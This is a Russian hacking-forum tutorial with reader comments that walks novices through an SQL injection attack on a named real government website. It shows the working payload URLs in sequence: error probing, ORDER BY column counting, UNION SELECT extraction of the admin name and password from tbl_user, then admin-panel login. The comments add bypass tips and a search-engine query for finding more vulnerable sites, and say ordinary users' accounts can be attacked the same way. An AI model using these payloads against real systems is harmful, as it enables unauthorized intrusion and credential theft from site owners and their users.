Очередная SQL injection. — HackZona.Ru

Очередная SQL injection.

Очередная SQL injection.

Тип статьи:
Со старой ХакЗоны.
Источник:
Привет хацкеры, кул хацкеры и новички! С вами redbu11.В этой статье пойдёт речь о такой уязвимости как

SQL injection.Я знаю что таких статей в инете немеряно, но всё-таки я напишу ещё одну статейку о

такой уязвимости.Я написал эту статью для тех у кого ещё не сформировалась идея о этой уязвимости, то

есть новичкам в этом деле.То что я буду рассказывать, совсем не новое, Так что расчитана для

новичков.Я думаю вы все знаете что такое SQL уязвимость, а если нет, то поищите в инете, там много про

это написано, просто если я щас начну объяснять что это такое в больших подробностях, то это займёт

много времени.И так приступим.))
Для обнаружения SQL инъекции я чаще всего пользуюсь манипулированием числовыми параметрами в GET

запросах.Вот например меня как-то заинтересовала такая ссылка:

www.komnasfbpi.go.id/berita_eng.php?id=58

тут id=58 и есть числовой параметр.Итак, проверим её на уязвимость.В конец ссылки добавляем одиночную

кавычку '.

www.komnasfbpi.go.id/berita_eng.php?id=58'

И смотрим на результат.Опа! Страница загрузилась неправильно и выдала нам SQL ошибку:

Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'

Ура! Это и есть SQL уязвимость.Но чтобы убедиться что уязвимость действительно существует, проверим

ещё кое-что.ПЕреходим опять по адресу:

www.komnasfbpi.go.id/berita_eng.php?id=58

И видим там страницу с заголовком «KOMNAS FBPI CONTINUES BIRD FLU CONTROL PROGRAM».Ок, теперь

перейдём на страничку «ниже», не на 58-ую а на 57-ую, то есть так:

www.komnasfbpi.go.id/berita_eng.php?id=57

И видим там страницу уже с другим заголовком «Air Batu Asahan Villagers Are Confirmed Bird Flu

Negative».Теперь переходим обратно на 58-ую страницу:

www.komnasfbpi.go.id/berita_eng.php?id=58

Теперь когда мы знаем что 58-ая страница имеет заголовок «KOMNAS FBPI CONTINUES BIRD FLU CONTROL

PROGRAM» а 57-ая имеет заголовок «Air Batu Asahan Villagers Are Confirmed Bird Flu Negative» то

проверим переменную «id» на уязвимость и составим такой запрос:

www.komnasfbpi.go.id/berita_eng.php?id=58-1/*

(Всегда закрываем символом /*)И смотрим на результат.В результате загрузилась не 58 а 57

страница.Ура!!! Уязвимость действительно есть! А что это значит? С предыдущим запросом мы попытались

выполнить простую арифметическую операцию, то есть 58-1, и сайт её не отвильтровал а выполнил, и в

результате мы получили 58-1=57, это означает что вместо этого мы можем вставить любой другой запрос

который нам будет более полезен.Мы сейчас будем пытаться вытащить с помощью этой уязвимости из базы

данных логин и пасс админа.И так, сначало нам надо выяснить сколько полей в базе данных.Я для этого

использую оператор «order+by».И так проверим сколько-же там полей используя order+by:

www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+30/*

На такой запрос нам выдалась ошибка, это означает что полей меньше чем 30.Пробуем так:

www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+20/*

На это нам тоже выдалась ошибка, значит полей меньше 20-и.Пробуем дальше:

www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+10/*

На это нам не выдалось никакой ошибки, это означает что полей или 10, или больше 10-и.Продалжаем в

этом-же духе пока не обнарушем верное количество полей:

www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+15/*

Страница снова загрузилась с ошибкой, это означает что полей меньше чем 15, пробуем так:

www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+14/*

Уряяя! Страница 14 загрузилась нормально, а 15-ая загружалась с ошибкой, это означает что полей

всего-лишь 14, это нам только наруку.Теперь зная что полей 14, посмотрим какое из них принтабельное, то

есть с помощью какого поле выводиться информация.Для этого нам нужно воспользоваться оператором

«union+select», составляем запрос, делаеться это так:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*

Смотрим на результат, когда страница загрузиться, прокручиваем страницу до самого низа, и мы увидим что

там отоброжаеться цифра 9, это означает что для вывода информации используеться 9-ое поле.
Ну вот теперь когда мы знаем что в базе только 14 полей и использутся 9-ое принтабельное, переходим к

следующему этапу, будем долбить базу данных и пробовать вытащить оттуда логип и пасс Админа.))Нам щас

нужно проверить существует ли в базе данных таблици с названием типа users,user,admin И т.д… Это

тоже делаеться с оператором union+select.Нам щас нужен логин и пасс админа, давайте начнём с

логина.Для того чтоб узнать логин, нам надо проверить существует ли в базе данных таблица с названием

name, или login, где и храниться логин.Теперь мы и будем проверять на наличие всех этих таблиц.Делаем

это как я уже говорил оператором union+select таким образом:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+

users/*

Этим мы проверяем существует ли таблица users в базе данных, если такая существует, то страница

загрузиться без ошибки, а если такой нет, то загрузиться с ошибкой.Нам на это выдалась ошибка, значет

такой нет.Проверим есть ли таблица users:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+user/

*

к сожалению и такой не оказалось, тоже нам на это выдалась ошибка...((Но не надо

расстраиваться! Многие админы используют префиксы перед названием таблицы.Теперь обратите внимание на

ту ошибку которая нам выводиться:

Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'

Посмотрите там на этот текст: tbl_berita
Тут используеться префикс tbl_ перед названием таблицы.Давайте проверим существует ли таблица user

используя этот префикс! Ок, делаем запрос:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+tbl_u

ser/*

Есть! Ура! Страница загрузилась нормально, значит таблица tbl_user существует! Теперь попробуем достать

имя пользователя из таблицы tbl_user.Проверим, существует ли запись с названием name в таблицы

tbl_user.Это делаесть почти также, только в 9-ое поле вставляем слово name, этим мы и будем проверять

существует ли запись name в таблицы tbl_user.Этот запрос будет выглядеть так:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,name,10,11,12,13,14+tb

l_user/*

Посмотрим что мы на это получем, А нам на это страница загрузилась нормально, значит есть

такая! Прокручиваем страничку в самый низ, и видим там запись «Administrator», Ураа!!! У нас теперь есть

логин админа, осталось достать пасс.Пробуем:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,password,10,11,12,13,1

4+tbl_user/*

На это нам страница загрузилась с ошибкой, это означает что нет записи password, пробум так:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,passwd,10,11,12,13,14+

tbl_user/*

На это тоже выдалась ошибка,, такой тоже нет((пробуем дальше:

www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,pwd,10,11,12,13,14+tbl

_user/*

Даа! Страница загрузилась без ошибки, и это значит что запись!!! Прокручиваем страницу в самый низ и

там мы видим пасс админа!!! Осталось его расшифровать и всё!!!
Потом переходим сюда www.komnasfbpi.go.id/admin вводим полученные данные, и всё, дальше всё

зависит от вашей фантазии!
Вот и всё, всё о чём бы я с вами хотел бы поделиться.Я описал просенькую SQL инъекцию.

ВНИМАНИЕ! Автор не несёт никакой ответственности за некорректное использование размещённой здесь

информации! Всё что здесь размещено, это не пробуждения к действию, а всего-лишь для ознакомительных

целей!
Ну вот и всё, всем пока и удачи со взломом!




Нравится
Не нравится

36 комментариев

10:03
>Привет хацкеры
Эх, гуглим на запрос define:хацкер. Первый результат.

А в целом статья хорошая.
16:59
Бойан.Я тоже такой бойан писал.Зря.
18:26
довольна банально
но качественно
19:00
Аффтар чуть-чуть натупил...http://www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+tbl_user/*
а нужно
http://www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+
tbl_user/*
20:28
Ой блин,точно,сорри)Не заметил ошибку в статье)
23:01
простите за такую ошибку,правда что то не заметил,натупил...))
19:24
Спасибо за статью, а как такой пароль расшифровать???
20:14
чуть и в этом натупил,поторопился наверное((просто нужно поменять на нужную кодировку,и всё))
18:59
Да уж - тема заезжена до дыр....
Хоть каждый день можно описывать найденные скули...
Но тем кто тока-тока пришёл на ХЗ покатит...
11:41
Меня тоже иногда так затягивало,пол часа не мог понять:"Где пробоина?"
15:29
А какая хоть кодировка то??? Кто нибудь подскажет?
00:32
как бы ни была заезжина тема,спасибо за статью!!
14:00
молодец!!! по больше таких статей .для новичков вроде меня очень полезно.подробно описал.тока они эту дырку походу заделали
19:22
=)Пока не проверял,может точно закрыли)))
21:28
парни помогайте. у меня какаято фигня с этим... у меня запросы идут без /* а с ним ошибку выдает... это ничего?
21:30
и еще как расшифровать пасс???
17:53
Цитата:
парни помогайте. у меня какаято фигня с этим... у меня запросы идут без /* а с ним ошибку выдает... это ничего?

Пробуй вместо /* ставить --
11:33
не получаеться пасс расшифровать. я в опере 10 всю кодировку перелапатил ничего не получаеться.как быть
22:50
искать сайт с другим скулем))
22:50
их полным полно))
23:53
ппц....ребята я просто вами ВОСХИЩЯЮСЯ!!!!!у меня тож потрохи начяло получятса!!!!!спасибо огромное аффтору за статейку!!!!!!
23:57
ааа......ищё вопросик.....ето тока ломаетса пассс админа или мона конкретного юзера бомбить?????
01:37
конечно можно и юзера,просто ты должен сделать запрос на эелаемого тебе пользователя.
svb
16:15
Спасибо за статью, получается по немногу только с /* выдает ошибку а без него нет и -- не помогает. что не так?
19:00
у меня тож так бывает.тогда попробуй просто ничё не ставить в конец))
04:11
молодец!!! по больше таких статей .для новичков вроде меня очень полезно.подробно описал.тока они эту дырку походу заделали

так не хуй на этом же сайте проделывать уже проделанное.ищи сам уязвимость.
14:01
а че делать, если при выполнении операрации union+select - внизу нету цифорки?
22:00
тогда перед числовым параметром попробовать поставить знак -,тогда должно отображатся.Например если так не отображается :

id=5+union+select+1,2,3,4,5/*

то тогда попробуй так:

id=-5+union+select+1,2,3,4,5/*
17:17
Народ как можно составить запрос в поисковике чтобы он выводил страницы адреса которых оканчиваются например на тот-же berita_eng.php?id=58
это ваще возможно?
18:56
ну я сомниваюсь что ты найдёшь много скриптов с таким же именем.Ну а найти такие сайты ты сможешь через гугл вбив такой запрос:

inurl:*.php?id=*
18:10
а если не подсветилась цифра из за чего может это быть?
18:12
сори снимаю вопрос уже прочитал ответ ниже )))
00:50
есть способ вывсти название таблицы а то не user не admina нету даже с префиксами
01:06
это только если версия базы 5-ая
23:19
Норм.
17:40
думаю новички вообще ничего не поймут, тут даже не указана версия()... все подбирается на угад. Если версия 4 тогда можно было описать метод с "substring"